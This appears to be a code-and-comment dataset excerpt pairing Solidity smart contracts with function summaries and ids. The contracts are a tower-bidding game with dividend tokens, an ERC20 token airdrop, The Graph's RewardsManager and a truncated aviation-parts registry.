uint256 var3 = add(UsedTower.amount / 1000000000000, UsedTower.amountToHalfTime / 1000000000000);
if (var2 == 0 && var3 == 0){
// exception, both are zero!? Weird, return timer.
return UsedTower.timer;
}
uint256 target = (mul(UsedTower.timer, var2/var3 )/1000000000000);
// Warning, if for some reason the calculation get super low, it will return 300, which is the absolute minimum.
//This prevents users from winning because people don't have enough time to edit gas, which would be unfair.
if (target < 300){
return 300;
}
return target;
}
// Internal payout function.
function Payout_intern(uint256 _id) internal {
//payout.
var UsedTower = Towers[_id];
// Calculate how much has to be paid.
uint256 Paid = mul(UsedTower.amount, UsedTower.payout) / 10000;
// Remove paid from amount.
UsedTower.amount = sub(UsedTower.amount, Paid);
// Send this Paid amount to owner.
UsedTower.owner.transfer(Paid);
// Calculate new price.
uint256 newPrice = (UsedTower.price * UsedTower.minPriceAfterWin)/10000;
// Check if lower than minPrice; if yes, set it to minPrice.
if (newPrice < UsedTower.minPrice){
newPrice = UsedTower.minPrice;
}
// Upgrade tower price.
UsedTower.price = newPrice;
// Will we move on with game?
if (UsedTower.amount > UsedTower.minPrice){
// RESTART game. OWNER STAYS SAME
UsedTower.timestamp = block.timestamp;
}
else{
// amount too low. do not restart.
UsedTower.timestamp = 0;
}
// Emit TowerWon event.
emit TowerWon(_id);
}
// TakePrize, can be called by everyone if contract is open.
// Usually owner of tower can call this.
// Note that if you are too late because someone else paid it, then this person will pay you.
// There is no way to cheat that.
// id = tower id. (id's start with 0, not 1!)
function TakePrize(uint256 _id) public onlyOpen{
require(_id < next_tower_index);
var UsedTower = Towers[_id];
require(UsedTower.timestamp > 0); // otherwise game has not started.
var Timing = getTimer(_id);
if (block.timestamp > (add(UsedTower.timestamp, Timing))){
Payout_intern(_id);
}
else{
revert();
}
}
// Shoot the previous Robin Hood!
// If you want, you can also buy your own tower again. This might be used to extract leftovers into the amount.
// _id = tower id (starts at 0 for first tower);
// _quote is optional: you can upload a quote to troll your enemies.
function ShootRobinHood(uint256 _id, string _quote) public payable onlyOpen{
require(_id < next_tower_index);
var UsedTower = Towers[_id];
var Timing = getTimer(_id);
// Check if game has started and if we are too late. If yes, we pay out and return.
if (UsedTower.timestamp != 0 && block.timestamp > (add(UsedTower.timestamp, Timing))){
Payout_intern(_id);
// We will not buy, give tokens back.
if (msg.value > 0){
msg.sender.transfer(msg.value);
}
return;
}
// Check if enough price.
require(msg.value >= UsedTower.price);
// Tower can still be bought, great.
uint256 devFee_used = (mul( UsedTower.price, 5))/100;
uint256 creatorFee = (mul(UsedTower.creatorFee, UsedTower.price)) / 10000;
uint256 divFee = (mul(UsedTower.price, tokenDividend)) / 100;
// Add dividend
addDividend(divFee);
// Buy div tokens
processBuyAmount(UsedTower.price);
// Calculate what we put into amount (ToPay)
uint256 ToPay = sub(sub(UsedTower.price, devFee_used), creatorFee);
//Pay creator the creator fee.
uint256 diff = sub(msg.value, UsedTower.price);
if (creatorFee != 0){
UsedTower.creator.transfer(creatorFee);
}
// Did you send too much? Get back difference.
if (diff > 0){
msg.sender.transfer(diff);
}
// Pay dev.
owner.transfer(devFee_used);
// Change results.
// Set timestamp to current time.
UsedTower.timestamp = block.timestamp;
// Set you as owner
UsedTower.owner = msg.sender;
// Set (or reset) quote
UsedTower.quote = _quote;
// Add ToPay to amount, which you can earn if you win.
UsedTower.amount = add(UsedTower.amount, sub(ToPay, divFee));
// Upgrade price of tower
UsedTower.price = (UsedTower.price * (10000 + UsedTower.priceIncrease)) / 10000;
// Emit TowerBought event
emit TowerBought(_id);
}
// Not interesting, safe math functions
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
// START OF DIVIDEND PART
// total number of tokens
uint256 public numTokens;
// amount of dividend in pool
uint256 public ethDividendAmount;
// 15 szabo start price per token
uint256 constant public tokenStartPrice = 1000000000000;
// 1 szabo increase per token
uint256 constant public tokenIncrease = 100000000000;
// token price tracker.
uint256 public tokenPrice = tokenStartPrice;
// percentage token dividend
uint8 constant public tokenDividend = 5;
// token scale factor to make sure math is correct.
uint256 constant public tokenScaleFactor = 1000;
// address link to how much token that address has
mapping(address => uint256) public tokensPerAddress;
//mapping(address => uint256) public payments;
// add dividend to pool
function addDividend(uint256 amt) internal {
ethDividendAmount = ethDividendAmount + amt;
}
// get how much tokens you get for amount
// bah area calculation results in a quadratic equation
// i hate square roots in solidity
function getNumTokens(uint256 amt) internal returns (uint256){
uint256 a = tokenIncrease;
uint256 b = 2*tokenPrice - tokenIncrease;
// var c = -2*amt;
uint256 D = b*b + 8*a*amt;
uint256 sqrtD = tokenScaleFactor*sqrt(D);
//uint256 (sqrtD - b) / (2*a);
return (sqrtD - (b * tokenScaleFactor)) / (2*a);
}
// buy tokens, only being called from robinhood.
function processBuyAmount(uint256 amt) internal {
uint256 tokens = getNumTokens(amt );
tokensPerAddress[msg.sender] = add(tokensPerAddress[msg.sender], tokens);
numTokens = add(numTokens, tokens);
//uint256 tokens_normscale = tokens;
//pushuint(tokens);
// check new price.
//tokenPrice = tokenPrice + (( (tokens * tokens ) + tokens) / 2) * tokenIncrease;
tokenPrice = add(tokenPrice , ((mul(tokenIncrease, tokens))/tokenScaleFactor));
}
// sell ALL your tokens to claim your dividend
function sellTokens() public {
uint256 tokens = tokensPerAddress[msg.sender];
if (tokens > 0 && numTokens >= tokens){
// get amount of tokens:
uint256 usetk = numTokens;
uint256 amt = 0;
if (numTokens > 0){
amt = (mul(tokens, ethDividendAmount))/numTokens ;
}
if (numTokens < tokens){
usetk = tokens;
}
// update price.
uint256 nPrice = (sub(tokenPrice, ((mul(tokenIncrease, tokens))/ (2*tokenScaleFactor)))) ;
if (nPrice < tokenStartPrice){
nPrice = tokenStartPrice;
}
tokenPrice = nPrice;
// update tokens
tokensPerAddress[msg.sender] = 0;
// update total tokens
if (tokens <= numTokens){
numTokens = numTokens - tokens;
}
else{
numTokens = 0;
}
// update dividend
if (amt <= ethDividendAmount){
ethDividendAmount = ethDividendAmount - amt;
}
else{
ethDividendAmount = 0;
}
// pay
if (amt > 0){
msg.sender.transfer(amt);
}
}
}
// square root function, taken from ethereum stack exchange
function sqrt(uint x) internal returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
|
buy tokens, only being called from robinhood.uint256 tokens_normscale = tokens;pushuint(tokens); check new price.tokenPrice = tokenPrice + (( (tokens tokens ) + tokens) / 2) tokenIncrease;
|
function processBuyAmount(uint256 amt) internal {
uint256 tokens = getNumTokens(amt );
tokensPerAddress[msg.sender] = add(tokensPerAddress[msg.sender], tokens);
numTokens = add(numTokens, tokens);
tokenPrice = add(tokenPrice , ((mul(tokenIncrease, tokens))/tokenScaleFactor));
}
| 2,342,693 |
pragma solidity ^0.4.23;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract WhitelistInterface {
function checkWhitelist(address _whiteListAddress) public view returns(bool);
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title DetailedERC20 token
* @dev The decimals are only for visualization purposes.
* All the operations are done using the smallest and indivisible token unit,
* just as on Ethereum all the operations are done in wei.
*/
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
/**
* @title Math
* @dev Assorted math operations
*/
library Math {
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
/**
* @title TuurntToken
* @dev The TuurntToken contract contains the information about
* Tuurnt token.
*/
contract TuurntToken is StandardToken, DetailedERC20 {
using SafeMath for uint256;
// distribution variables
uint256 public tokenAllocToTeam;
uint256 public tokenAllocToCrowdsale;
uint256 public tokenAllocToCompany;
// addresses
address public crowdsaleAddress;
address public teamAddress;
address public companyAddress;
/**
* @dev The TuurntToken constructor set the orginal crowdsaleAddress,teamAddress and companyAddress and allocate the
* tokens to them.
* @param _crowdsaleAddress The address of crowsale contract
* @param _teamAddress The address of team
* @param _companyAddress The address of company
*/
constructor(address _crowdsaleAddress, address _teamAddress, address _companyAddress, string _name, string _symbol, uint8 _decimals) public
DetailedERC20(_name, _symbol, _decimals)
{
require(_crowdsaleAddress != address(0));
require(_teamAddress != address(0));
require(_companyAddress != address(0));
totalSupply_ = 500000000 * 10 ** 18;
tokenAllocToTeam = (totalSupply_.mul(33)).div(100); // 33 % Allocation
tokenAllocToCompany = (totalSupply_.mul(33)).div(100); // 33 % Allocation
tokenAllocToCrowdsale = (totalSupply_.mul(34)).div(100);// 34 % Allocation
// Address
crowdsaleAddress = _crowdsaleAddress;
teamAddress = _teamAddress;
companyAddress = _companyAddress;
// Allocations
balances[crowdsaleAddress] = tokenAllocToCrowdsale;
balances[companyAddress] = tokenAllocToCompany;
balances[teamAddress] = tokenAllocToTeam;
//transfer event
emit Transfer(address(0), crowdsaleAddress, tokenAllocToCrowdsale);
emit Transfer(address(0), companyAddress, tokenAllocToCompany);
emit Transfer(address(0), teamAddress, tokenAllocToTeam);
}
}
contract TuurntAirdrop is Ownable {
using SafeMath for uint256;
TuurntToken public token;
WhitelistInterface public whitelist;
mapping(address=>bool) public userAddress;
uint256 public totalDropAmount;
uint256 public dropAmount = 100 * 10 ** 18;
/**
* @dev TuurntAirdrop constructor set the whitelist contract address.
* @param _whitelist Whitelist contract address
*/
constructor(address _whitelist) public{
whitelist = WhitelistInterface(_whitelist);
}
/**
* @dev Set the token contract address.
* @param _tokenAddress token contract address
*/
function setTokenAddress(address _tokenAddress) onlyOwner public {
token = TuurntToken(_tokenAddress);
}
/**
* @dev User can withdraw there airdrop tokens if address exist in the whitelist.
*/
function airdropToken() external{
require(whitelist.checkWhitelist(msg.sender));
require(userAddress[msg.sender] == false);
totalDropAmount = totalDropAmount.add(dropAmount);
userAddress[msg.sender] = true;
require(token.transfer(msg.sender,dropAmount));
}
/**
* @dev Founder can withdraw the remaining tokens of airdrop contract.
* @param _addr Address where the remaining tokens will go.
*/
function withdrawToken(address _addr) onlyOwner external{
require(_addr != address(0));
uint256 amount = token.balanceOf(this);
require(token.transfer(_addr,amount));
}
}
|
Set the token contract address. _tokenAddress token contract address/
|
function setTokenAddress(address _tokenAddress) onlyOwner public {
token = TuurntToken(_tokenAddress);
}
| 6,619,444 |
pragma solidity ^0.6.4;
pragma experimental ABIEncoderV2;
import "../governance/Governed.sol";
import "../upgrades/GraphUpgradeable.sol";
import "./RewardsManagerStorage.sol";
import "./IRewardsManager.sol";
contract RewardsManager is RewardsManagerV1Storage, GraphUpgradeable, IRewardsManager, Governed {
using SafeMath for uint256;
uint256 private constant TOKEN_DECIMALS = 1e18;
// -- Events --
/**
* @dev Emitted when rewards are assigned to an indexer.
*/
event RewardsAssigned(
address indexed indexer,
address indexed allocationID,
uint256 epoch,
uint256 amount
);
/**
* @dev Emitted when rewards an indexer claims rewards.
*/
event RewardsClaimed(address indexer, uint256 amount);
/**
* @dev Emitted when a subgraph is denied for claiming rewards.
*/
event RewardsDenylistUpdated(bytes32 subgraphDeploymentID, uint256 sinceBlock);
// -- Modifiers --
modifier onlyStaking() {
require(msg.sender == address(staking), "Caller must be the staking contract");
_;
}
modifier onlyEnforcer() {
require(msg.sender == address(enforcer), "Caller must be the enforcer");
_;
}
/**
* @dev Initialize this contract.
*/
function initialize(
address _governor,
address _token,
address _curation,
address _staking,
uint256 _issuanceRate
) external onlyImpl {
Governed._initialize(_governor);
token = IGraphToken(_token);
curation = Curation(_curation);
staking = IStaking(_staking);
_setIssuanceRate(_issuanceRate);
}
/**
* @dev Accept to be an implementation of proxy and run initializer.
* @param _proxy Graph proxy delegate caller
* @param _token Address of the GRT token contract
* @param _curation Address of the Curation contract
* @param _staking Address of the Staking contract
* @param _issuanceRate Issuance rate
*/
function acceptProxy(
GraphProxy _proxy,
address _token,
address _curation,
address _staking,
uint256 _issuanceRate
) external {
// Accept to be the implementation for this proxy
_acceptUpgrade(_proxy);
// Initialization
RewardsManager(address(_proxy)).initialize(
_proxy.admin(), // default governor is proxy admin
_token,
_curation,
_staking,
_issuanceRate
);
}
/**
* @dev Sets the issuance rate
* @param _issuanceRate Issuance rate
*/
function setIssuanceRate(uint256 _issuanceRate) public override onlyGovernor {
_setIssuanceRate(_issuanceRate);
}
/**
* @dev Sets the issuance rate
* @param _issuanceRate Issuance rate
*/
function _setIssuanceRate(uint256 _issuanceRate) internal {
// Called since `issuance rate` will change
updateAccRewardsPerSignal();
issuanceRate = _issuanceRate;
emit ParameterUpdated("issuanceRate");
}
/**
* @dev Sets the enforcer for denegation of rewards to subgraphs
* @param _enforcer Address of the enforcer of denied subgraphs
*/
function setEnforcer(address _enforcer) external override onlyGovernor {
enforcer = _enforcer;
emit ParameterUpdated("enforcer");
}
/**
* @dev Sets the indexer as denied to claim rewards
* NOTE: Can only be called by the enforcer role
* @param _subgraphDeploymentID Subgraph deployment ID to deny
* @param _deny Whether to set the indexer as denied for claiming rewards or not
*/
function setDenied(bytes32 _subgraphDeploymentID, bool _deny) external override onlyEnforcer {
uint256 sinceBlock = _deny ? block.number : 0;
denylist[_subgraphDeploymentID] = sinceBlock;
emit RewardsDenylistUpdated(_subgraphDeploymentID, sinceBlock);
}
/**
* @dev Tells if subgraph is in deny list
* @param _subgraphDeploymentID Subgraph deployment ID to check
*/
function isDenied(bytes32 _subgraphDeploymentID) public override returns (bool) {
return denylist[_subgraphDeploymentID] > 0;
}
/**
* @dev Gets the issuance of rewards per signal since last updated.
*
* Compound interest formula: `a = p(1 + r/n)^nt`
* The formula is simplified with `n = 1` as we apply the interest once every time step.
* The `r` is passed with +1 included. So for 10% instead of 0.1 it is 1.1
* The simplified formula is `a = p * r^t`
*
* Notation:
* t: time steps are in blocks since last updated
* p: total supply of GRT tokens
* a: inflated amount of total supply for the period `t` when interest `r` is applied
* x: newly accrued rewards token for the period `t`
*
* @return newly accrued rewards per signal since last update
*/
function getNewRewardsPerSignal() public override view returns (uint256) {
// Calculate time steps
uint256 t = block.number.sub(accRewardsPerSignalLastBlockUpdated);
// Optimization to skip calculations if zero time steps elapsed
if (t == 0) {
return 0;
}
// Zero issuance if no signalled tokens
uint256 signalledTokens = curation.totalTokens();
if (signalledTokens == 0) {
return 0;
}
uint256 r = issuanceRate;
uint256 p = token.totalSupply();
uint256 a = p.mul(_pow(r, t, TOKEN_DECIMALS)).div(TOKEN_DECIMALS);
// New issuance per signal during time steps
uint256 x = a.sub(p);
// We multiply the decimals to keep the precision as fixed-point number
return x.mul(TOKEN_DECIMALS).div(signalledTokens);
}
/**
* @dev Gets the currently accumulated rewards per signal.
*/
function getAccRewardsPerSignal() public override view returns (uint256) {
return accRewardsPerSignal.add(getNewRewardsPerSignal());
}
/**
* @dev Gets the accumulated rewards for the subgraph.
* @param _subgraphDeploymentID Subgraph deployment
* @return Accumulated rewards for subgraph
*/
function getAccRewardsForSubgraph(bytes32 _subgraphDeploymentID)
public
override
view
returns (uint256)
{
Subgraph storage subgraph = subgraphs[_subgraphDeploymentID];
uint256 newAccrued = getAccRewardsPerSignal().sub(subgraph.accRewardsPerSignalSnapshot);
uint256 subgraphSignalledTokens = curation.getCurationPoolTokens(_subgraphDeploymentID);
uint256 newValue = newAccrued.mul(subgraphSignalledTokens).div(TOKEN_DECIMALS);
return subgraph.accRewardsForSubgraph.add(newValue);
}
/**
* @dev Gets the accumulated rewards per allocated token for the subgraph.
* @param _subgraphDeploymentID Subgraph deployment
* @return Accumulated rewards per allocated token for the subgraph
* @return Accumulated rewards for subgraph
*/
function getAccRewardsPerAllocatedToken(bytes32 _subgraphDeploymentID)
public
override
view
returns (uint256, uint256)
{
Subgraph storage subgraph = subgraphs[_subgraphDeploymentID];
uint256 accRewardsForSubgraph = getAccRewardsForSubgraph(_subgraphDeploymentID);
uint256 newAccrued = accRewardsForSubgraph.sub(subgraph.accRewardsForSubgraphSnapshot);
uint256 subgraphAllocatedTokens = staking.getSubgraphAllocatedTokens(_subgraphDeploymentID);
if (subgraphAllocatedTokens == 0) {
return (0, accRewardsForSubgraph);
}
uint256 newValue = newAccrued.mul(TOKEN_DECIMALS).div(subgraphAllocatedTokens);
return (subgraph.accRewardsPerAllocatedToken.add(newValue), accRewardsForSubgraph);
}
/**
* @dev Updates the accumulated rewards per signal and save checkpoint block number.
* Must be called before `issuanceRate` or `total signalled GRT` changes
* Called from the Curation contract on mint() and burn()
* @return Accumulated rewards per signal
*/
function updateAccRewardsPerSignal() public override returns (uint256) {
accRewardsPerSignal = getAccRewardsPerSignal();
accRewardsPerSignalLastBlockUpdated = block.number;
return accRewardsPerSignal;
}
/**
* @dev Triggers an update of rewards for a subgraph.
* Must be called before `signalled GRT` on a subgraph changes.
* Note: Hook called from the Curation contract on mint() and burn()
* @param _subgraphDeploymentID Subgraph deployment
* @return Accumulated rewards for subgraph
*/
function onSubgraphSignalUpdate(bytes32 _subgraphDeploymentID)
public
override
returns (uint256)
{
// Called since `total signalled GRT` will change
updateAccRewardsPerSignal();
// Updates the accumulated rewards for a subgraph
Subgraph storage subgraph = subgraphs[_subgraphDeploymentID];
subgraph.accRewardsForSubgraph = getAccRewardsForSubgraph(_subgraphDeploymentID);
subgraph.accRewardsPerSignalSnapshot = accRewardsPerSignal;
return subgraph.accRewardsForSubgraph;
}
/**
* @dev Triggers an update of rewards for a subgraph.
* Must be called before allocation on a subgraph changes.
* NOTE: Hook called from the Staking contract on allocate() and settle()
* @param _subgraphDeploymentID Subgraph deployment
* @return Accumulated rewards per allocated token for a subgraph
*/
function onSubgraphAllocationUpdate(bytes32 _subgraphDeploymentID)
public
override
returns (uint256)
{
Subgraph storage subgraph = subgraphs[_subgraphDeploymentID];
(
uint256 accRewardsPerAllocatedToken,
uint256 accRewardsForSubgraph
) = getAccRewardsPerAllocatedToken(_subgraphDeploymentID);
subgraph.accRewardsPerAllocatedToken = accRewardsPerAllocatedToken;
subgraph.accRewardsForSubgraphSnapshot = accRewardsForSubgraph;
return subgraph.accRewardsPerAllocatedToken;
}
/**
* @dev Calculate current rewards for a given allocation.
* @param _allocationID Allocation
* @return Rewards amount for an allocation
*/
function getRewards(address _allocationID) public override view returns (uint256) {
IStaking.Allocation memory alloc = staking.getAllocation(_allocationID);
(uint256 accRewardsPerAllocatedToken, uint256 _) = getAccRewardsPerAllocatedToken(
alloc.subgraphDeploymentID
);
uint256 newAccrued = accRewardsPerAllocatedToken.sub(alloc.accRewardsPerAllocatedToken);
return newAccrued.mul(alloc.tokens).div(TOKEN_DECIMALS);
}
/**
* @dev Assign rewards and make them available for claiming in the pool.
* @param _allocationID Allocation
* @return Assigned rewards amount
*/
function assignRewards(address _allocationID) external override onlyStaking returns (uint256) {
IStaking.Allocation memory alloc = staking.getAllocation(_allocationID);
onSubgraphAllocationUpdate(alloc.subgraphDeploymentID);
// Do not do rewards on denied subgraph deployments ID
uint256 rewards = 0;
if (!isDenied(alloc.subgraphDeploymentID)) {
// Calculate rewards and set apart for claiming
rewards = getRewards(_allocationID);
indexerRewards[alloc.indexer] = indexerRewards[alloc.indexer].add(rewards);
}
emit RewardsAssigned(alloc.indexer, _allocationID, alloc.settledAtEpoch, rewards);
return rewards;
}
/**
* @dev Claim accumulated rewards by indexer.
* The contract mints tokens equivalent to the rewards.
* @return Rewards amount
*/
function claim(bool _restake) external override returns (uint256) {
address indexer = msg.sender;
uint256 rewards = indexerRewards[indexer];
require(rewards > 0, "No rewards available for claiming");
emit RewardsClaimed(indexer, rewards);
// Mint rewards tokens
if (_restake) {
token.mint(address(this), rewards);
token.approve(address(staking), rewards);
staking.stakeTo(indexer, rewards);
} else {
token.mint(indexer, rewards);
}
return rewards;
}
/**
* @dev Raises x to the power of n with scaling factor of base.
* Based on: https://github.com/makerdao/dss/blob/master/src/pot.sol#L81
* @param x Base of the exponentation
* @param n Exponent
* @param base Scaling factor
* @return z Exponential of n with base x
*/
function _pow(
uint256 x,
uint256 n,
uint256 base
) internal pure returns (uint256 z) {
assembly {
switch x
case 0 {
switch n
case 0 {
z := base
}
default {
z := 0
}
}
default {
switch mod(n, 2)
case 0 {
z := base
}
default {
z := x
}
let half := div(base, 2) // for rounding.
for {
n := div(n, 2)
} n {
n := div(n, 2)
} {
let xx := mul(x, x)
if iszero(eq(div(xx, x), x)) {
revert(0, 0)
}
let xxRound := add(xx, half)
if lt(xxRound, xx) {
revert(0, 0)
}
x := div(xxRound, base)
if mod(n, 2) {
let zx := mul(z, x)
if and(iszero(iszero(x)), iszero(eq(div(zx, x), z))) {
revert(0, 0)
}
let zxRound := add(zx, half)
if lt(zxRound, zx) {
revert(0, 0)
}
z := div(zxRound, base)
}
}
}
}
}
}
|
Assign rewards and make them available for claiming in the pool. _allocationID Allocation return Assigned rewards amount/ Do not do rewards on denied subgraph deployments ID Calculate rewards and set apart for claiming
|
function assignRewards(address _allocationID) external override onlyStaking returns (uint256) {
IStaking.Allocation memory alloc = staking.getAllocation(_allocationID);
onSubgraphAllocationUpdate(alloc.subgraphDeploymentID);
uint256 rewards = 0;
if (!isDenied(alloc.subgraphDeploymentID)) {
rewards = getRewards(_allocationID);
indexerRewards[alloc.indexer] = indexerRewards[alloc.indexer].add(rewards);
}
emit RewardsAssigned(alloc.indexer, _allocationID, alloc.settledAtEpoch, rewards);
return rewards;
}
| 5,460,539 |
pragma solidity >=0.7.0;
contract AviationParts {
////////////////////
// Structs
////////////////////
// Struct for the aircraft part
struct AircraftPart {
string ID;
string Description;
string Certification;
address Owner;
uint AppraisedValue;
bool isSet;
}
// Purchase order
struct PurchaseOrder {
string ID;
address From;
address To;
AircraftPart SoldPart;
bool isSet;
}
////////////////////
// Global Vars
////////////////////
// mapping
mapping(string => AircraftPart) parts;
mapping(string => PurchaseOrder) orders;
mapping(address => string[]) ownermapping;
////////////////////
// Modifiers
////////////////////
modifier partNotExists(string memory id) {
require(!parts[id].isSet, "Part already exists");
_;
}
modifier partExists(string memory id) {
require(parts[id].isSet, "Part does not exist");
_;
}
modifier onlyOwner(string memory id, address owner) {
require(msg.sender == parts[id].Owner, "Message sender is not owner");
_;
}
////////////////////
// Events
////////////////////
event PartCreated(string id, uint val, address owner);
event PartTransferred(string id, address From, address To);
event PartDeleted(string id);
////////////////////
// Functions
////////////////////
// Create the single aircraft part
function CreatePart(string memory id, string memory desc, address owner, string memory cert, uint apprVal) public partNotExists(id) {
parts[id] = AircraftPart({
ID: id,
Description: desc,
Certification: cert,
Owner: owner,
AppraisedValue: apprVal,
isSet: true
});
ownermapping[msg.sender].push(id);
emit PartCreated(id, apprVal, msg.sender);
}
function _fixarray(address owner, uint index) internal {
string[] storage strs = ownermapping[owner];
delete strs[index];
if (index > ownermapping[owner].length) {
return;
}
for (uint i = index; i < ownermapping[owner].length-1; i++) {
